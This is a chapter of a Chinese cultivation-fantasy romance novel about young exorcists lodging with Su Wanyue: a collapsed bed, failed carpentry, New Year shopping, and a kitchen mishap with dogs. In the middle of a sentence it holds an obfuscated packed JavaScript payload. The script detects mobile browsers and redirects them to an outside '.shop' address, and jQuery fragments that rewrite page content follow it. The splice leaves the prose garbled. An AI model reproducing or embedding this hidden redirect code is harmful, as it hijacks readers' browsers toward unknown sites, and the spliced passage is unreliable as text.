“绝无可能!”池木周立刻反驳。
屋外雨细风斜,屋内竹影寂寂。
苏晚月眯着眼笑,视现在他身上转了一圈:“是吗?”
“当然!”
雨落在檐上,滴滴答答,惹人心烦。
池木周摸摸鼻子,欲盖弥彰地补了一句:“她不在,这屋里清静了不少。”
苏晚月盯着他耳尖慢慢泛上的薄红,会心一笑,推着萧绫往外走:“行吧,看来池公子需要一个人清静清静,那我们还是走吧。”
落在池木周身上的三道灼热视线这才消失,他暗暗松了口气,重新滑进被褥中,把被子拉到下巴处盖着,心里像被猫爪挠了一下,酥酥痒痒的,有些不是滋味。
怎么突然就走了?!连声招呼都不打?!竟然单单不和我告别?!
难道……是她讨厌我?!所以故意的?!
不过,说不定是家里有什么急事,她才来不及等我醒来告别?可是明明可以留封信的!她就是不想……
她这一走,山高水远,人海茫茫,也不知道,这辈子还有没有机会再见……
唉,罢了。她原本也是个误入此间普通小姑娘,和他们这些整日和妖魔打交道的人,本就不算同路人,迟早是要分道扬镳的,只是这一天,似乎来得有点快……
风也冷清,雨也缠绵,少年人却只觉内心烦躁。
他一边暗暗恼怒,一边又默默宽慰自己,想来想去,他猛地在床上翻了个身,然后……
“咔嚓——轰隆!”
床塌了!!!
他没有用力啊!怎么回事??这破地方,真该好好修缮修缮了!
床榻的巨响让苏晚月去而复返,她看见满屋狼藉,嘴角抽了抽:“池公子,你这……情绪也不必这么激动吧?”
“我没有!”池木周赶紧从床上弹起来,俊脸一下涨红,“是你们这床!太脆了!年久失修!我就是轻轻翻了个身!”
萧绫也闻声探了个头进来,忍不住掩嘴轻笑:“师弟,你这是练的什么新的清心功?”
池云安无奈扶额:“对不住啊苏姑娘,木周有些毛手毛脚,瞧这床应当也有些年头了,要不我们买张全新的赔给你,如何?也算略表心意,报答你们这几天的收留了……”
苏晚月摆摆手,倒也不客气:“不必,那多消耗银子。你若是真有这钱,不如直接给我。”
“院子里刚巧还有一些木板,我可以自己动手。这眼瞧着,又要到年关了,索性把屋里屋外全部翻新一下,到时候你们若是愿意,打打下手就行。”
“理应帮忙!理应帮忙!”
闯了祸的池木周,抱着手臂站在一旁,仍然高抬着他的下巴,试图挽回一点颜面。只是头上还有几缕没来得及打理的发丝,在晃晃悠悠地翘着。
年前的日子,本应干燥少雨的,可这几日,冷雨却总是缠绵不断,空气中浸染着潮湿的草木气息。
所幸,他们是修行之人,区区小雨而已,开个避雨罩便好。
不过,这也是他们唯一的体面了。
风清派阔绰,门内一应事务皆有专人打理,连着他们这些弟子,也大都十指不沾阳春水。他们这些人,雕些小玩意儿还行,对木工却是束手无策的。
于是,一堆奇形怪状的木块堆成了山,旁边是袖子凌乱,却又忙忙碌碌的三个人。
苏晚月抱臂站在廊下,看着这一地狼藉,无语地拍拍手:“得了得了,诸位天师,快快请停手吧!连袖子都不晓得挽起来,平时根本没干过这种活计吧?锯个木板而已,瞧瞧你们,连灵力都用上了,不知道的还以为练法宝呢!”
“不愧是大门派出来的人!灵力果然多得很!”
“你们若实在闲得慌,便去陪婆婆说说话,给她讲讲你们驱魔的故事,别在这里碍我的事……”
雨绵绵不绝下了几日,池云安便练了几日的锯木板。
此刻,池云安挽起的袖口沾着些灰,正拿着一块不太平整的木板,递到苏晚月面前:“苏姑娘,你瞧,这处理的可还妥当?”
“另外,我瞧着这剩下的木板,是不是不太够用了?”池云安像个刚入门的弟子,毕恭毕敬。
苏晚月看了一眼被锯废的一堆木板,沉默了半晌,幽幽吐出一口气:“看起来……是的。”
“既如此,那明日我同绫儿上山去采买些回来?我看你这门廊上挂的花也有些零落了,屋里屋外也过于素净,要不再添置一些窗花、灯笼之类的物什?我们门派每逢过年,整个山头都是五颜六色的,瞧着便喜庆。”
“……随你。”苏晚月看他像看不知柴米油盐贵的冤大头。
苏府倒也是这般有钱,不过那毕竟不是自己的,处处都得精打细算。既然这些天师财大气粗,还愿意主动掏钱,那便随他们去,热闹热闹,也是好的。
“那我明日便叫上绫儿一同去。”池云安唇角勾起笑,倒是十分开心。
门派规矩繁多,弟子不能没有出师之前,不能随意下山。即便偶尔有机会,每回下山,绫儿又只喜欢看那些稀奇古怪的东西,女子都喜欢的胭脂水粉一类的,她倒是全不在意。
刚巧,快过年了,此次便可以陪她挑挑新衣服、新首饰。他总是觉得,绫儿常年打扮过于素淡,虽然在他眼里,绫儿怎样都是极美的,但是有些明媚色彩衬她,会更好。
天蒙蒙亮,檐角的雨珠滚落了几颗,溅起几朵晶莹的花。
池云安把自己收拾得一丝不苟,颇为风雅地抓着把扇子,敲响了池木周的房门:“师弟啊,你可要同我们一起,去镇上采买些东西?”
池木周揉着惺忪的眼睛,望见廊下站着的师姐,又看了看难得孔雀开屏的师兄,心里跟明镜似的。
他打了个哈欠,忙不迭摆手:“我啊?我就不去了吧,这天气,正适合睡觉!”说着便要掩门。
萧绫挡住要关上的门,眯着眼瞧他:“那怎么行?!师弟啊,你不去,师姐买的东西谁来拿?”
池云安笑道:“欸,绫儿,这不是还有我嘛。他既然不愿意去,便让他留下帮苏姑娘煮饭得了。”
“对对对,煮饭!煮饭要紧!今日可是小年!”池木周如蒙大赦,挤出一个笑,“师姐快趁早去吧,去晚了,好的年货都让人挑走了!”
萧绫一想,也对,于是两人便肩并肩地上山去了。
虽只是小年,大街小巷却已弥漫着浓浓的年味。冬雨没有浇灭人们的热情,空气中飘荡着糖果的甜、瓜子的香。街边店铺,全都挂着火红碧绿的物什,红红火
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128084|190901||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
火,亮亮堂堂。不久前苏府诡案带来的阴霾,早已被这场冬雨冲刷得干干净净。
“绫儿,这个簪子喜欢不?”
“绫儿,你瞧,这个红色最衬你!”
“绫儿!”“绫儿!”
萧绫看着那一堆花里胡哨、五颜六色的衣服、饰品,有些无奈。
但看着池云安期待的眼神,只好伸出纤纤玉指,从里面捡出一支钗子,那钗子通体银色,只在末端缀着一点红。
“这个便可……”
“行!你喜欢便最好!”
池云安将钗子轻轻插在萧绫的发髻上,细细端详半晌,郑重其事点头:“嗯,好看。”
钗上那点朱红,在黑发间微微颤动,给她的清冷添上一点暖色。
太阳初升,雨却又飘下起来了。
萧绫抬指,正要捏避雨诀。池云安不知从何处拿出一把油纸伞,稳稳遮在她头上。
她抬头去看,伞是红色的,内面上绘着疏疏落落的红梅,密密麻麻地绽放在这场冬雨里。
橘色的旭日照在红梅上,红梅映在他干净的笑眸中。
她对上那抹低垂的视线,忍不住展颜一笑,眸底却好像落进了冬雨。
灶膛的炊烟袅袅升起,橙红的火苗舔舐着锅底,热气和水汽在厨房里一同弥漫。
池木周面对一堆琳琅满目的食材,无措地握着锅铲,眉头拧成一个结。
苏晚月听着窗外不绝的雨声,悠闲地倚在灶台一侧:“不是说好了,今日的饭食,由你来掌勺吗?池公子,你倒是动手啊。”
“跟着我学了这些天,池公子,你莫不是……一样都还没学会?”
“怎、怎么可能?!”
池木周有些恼火,他好歹也算是修行上的天才,剑诀道法向来领悟极快,如今竟然被这一筐萝卜青菜难住。
“既然池公子这般有信心,那我便恭候您做出的盛宴了,今夜可是小年夜,一年才一次,你可别搞砸了!”
“你不帮忙?!”
“我啊,我就陪婆婆去后山转转,顺便捡些柴火啥的,还能摘些野果子,给你这大厨的菜品添点颜色。你慢慢琢磨,不着急,我们约莫着得好些时间才能回来。”
院子重新安静下来,只剩下萧萧瑟瑟的雨声。
池木周系着围裙,抱着手臂静静地盯了一会,事已至此,先洗菜吧。
他舀起清水,哗啦啦倒入木盆,又挽起袖子,去抓那翠绿的菜叶子。
一道湿漉漉的黄影,从半开的院门窜入,猛撞在他脚旁的水盆上。
“汪汪!”
“哐当——!”
“啊!!!”
木盆应声翻倒,清水洒了一地,黄狗潇洒地甩甩脑袋,爪子还在地上留下好几个泥印子。
池木周抓着几片菜叶子,气得直跳脚:“啧!这谁家的狗啊?!怎么乱闯?!”
这陌生的侵入者,让原本恬睡的年年感受到领地危机,小白狗“噌”一下站起,炸开了毛。
一时间,小小的厨房里,两只狗对着彼此龇牙咧嘴,狗吠声此起彼伏,只留下一旁黑了脸的池木周。
“平安——!别乱跑!”
凌凌清碧之声,穿透靡靡雨帘,悠悠荡入空旷院落。